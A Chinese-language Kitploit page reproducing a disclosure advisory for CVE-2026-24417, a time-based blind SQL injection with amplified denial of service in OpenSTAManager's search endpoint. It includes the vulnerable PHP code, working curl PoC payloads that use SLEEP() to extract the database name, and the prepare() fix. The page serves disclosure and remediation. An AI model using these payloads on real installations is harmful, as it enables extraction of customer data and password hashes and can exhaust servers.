Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24417 — CVE-2026-24417 - OpenSTAManager 存在基于时间的盲 SQL 注入,并具有放大式拒绝服务(Amplified Denial of Service)漏洞。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-24417
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHublukasz-rybak/cve-2026-24417

CVE-2026-24417

CVE-2026-24417 - OpenSTAManager 存在基于时间的盲 SQL 注入,并具有放大式拒绝服务(Amplified Denial of Service)漏洞。

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24417:OpenSTAManager 存在基于时间的盲 SQL 注入及放大式拒绝服务漏洞

概述

字段详情
CVE IDCVE-2026-24417
严重等级HIGH
安全公告查看安全公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager(版本:< 2.9.8)

CWE 分类

  • CWE-89:SQL 命令中使用的特殊元素未正确中和('SQL 注入')

详情

摘要

影响 OpenSTAManager v2.9.8 中多个搜索模块的严重基于时间的盲 SQL 注入漏洞,允许已认证攻击者通过基于时间的布尔推断攻击提取敏感数据库内容(包括密码哈希、客户数据和财务记录),并在 10 个以上模块中实现放大式执行。

状态: ✅ 已在线上实例(v2.9.8)确认并测试 易受攻击的参数: term(GET) 受影响的端点: /ajax_search.php 受影响的模块: Articoli、Ordini、DDT、Fatture、Preventivi、Anagrafiche、Impianti、Contratti、Automezzi、Interventi

详情

OpenSTAManager v2.9.8 的全局搜索功能中存在一个严重的基于时间的盲 SQL 注入漏洞。该应用程序在多个模块专用搜索处理器中将 term 参数用于 SQL LIKE 子句之前,未能正确清理该参数,从而允许攻击者注入任意 SQL 命令,并通过基于时间的布尔推断提取敏感数据。

漏洞链:

  1. 入口点: /ajax_search.php(第 30-31 行)

    root@kitploit:~
    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    $term 参数只经过最少的清理(仅替换正斜杠)。

  2. 分发: /src/AJAX.php::search()(第 159-161 行)

    root@kitploit:~
    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    未经清理的 $term 会被传递给所有模块专用搜索处理器。

  3. 执行: /src/AJAX.php::getSearchResults()(第 373 行)

    root@kitploit:~
    require $file;
    

    每个模块的 search.php 文件都会被包含,且 $term 变量处于作用域内。

  4. 易受攻击的 SQL 查询: 多个模块直接拼接 $term,未使用 prepare()

所有受影响文件(10 个以上易受攻击的实例):

  1. /modules/articoli/ajax/search.php - 第 51 行(主要示例)

    root@kitploit:~
    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    影响: 未使用 prepare() 直接拼接,可实现完整的 SQL 注入。

  2. /modules/ordini/ajax/search.php - 第 43、47 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - 第 43、47 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - 第 45、49 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

已正确清理(不受影响):

  • /modules/contratti/ajax/search.php - 正确使用了 prepare()
  • /modules/automezzi/ajax/search.php - 正确使用了 prepare()

注意: 该漏洞具有放大式执行效果——单个恶意请求会在所有易受攻击的模块上同时触发 SQL 注入,导致每次请求执行 10 次以上基于时间的攻击,成倍放大延迟,并如在线演示实例中所观察到的,引发 504 Gateway Time-out(网关超时) 错误。

图片

PoC

步骤 1:登录

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

步骤 2:验证漏洞(基于时间的 SLEEP)

root@kitploit:~
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
图片

步骤 3:数据提取 - 数据库名称

root@kitploit:~
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s
图片

影响

受影响用户: 所有可访问全局搜索功能的已认证用户。

  • 完整数据库外泄,包括客户个人身份信息(PII)、财务记录和商业机密
  • 提取密码哈希以进行离线破解
  • 放大式基于时间的攻击每次请求消耗 85 倍服务器资源

修复建议:

将所有直接拼接 $term 的实例替换为 prepare():

修复前(存在漏洞):

root@kitploit:~
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

修复后(已修复):

root@kitploit:~
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

将此修复应用于所有受影响的文件:

  1. /modules/articoli/ajax/search.php - 第 51 行
  2. /modules/ordini/ajax/search.php - 第 43、47、79 行
  3. /modules/ddt/ajax/search.php - 第 43、47、83 行
  4. /modules/fatture/ajax/search.php - 第 45、49、85 行
  5. /modules/preventivi/ajax/search.php - 第 45、49、83 行
  6. /modules/anagrafiche/ajax/search.php - 第 62、107、162 行
  7. /modules/impianti/ajax/search.php - 第 46 行

参考资料

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24417
  • https://github.com/advisories/GHSA-4hc4-8599-xh2h

免责声明

本 CVE 已按照协调漏洞披露实践进行负责任地披露。此处提供的信息仅用于教育和防御目的。

下载工具
  • /modules/preventivi/ajax/search.php - 第 45、49 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  • /modules/anagrafiche/ajax/search.php - 第 62、107、162 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  • /modules/impianti/ajax/search.php - 第 46 行

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';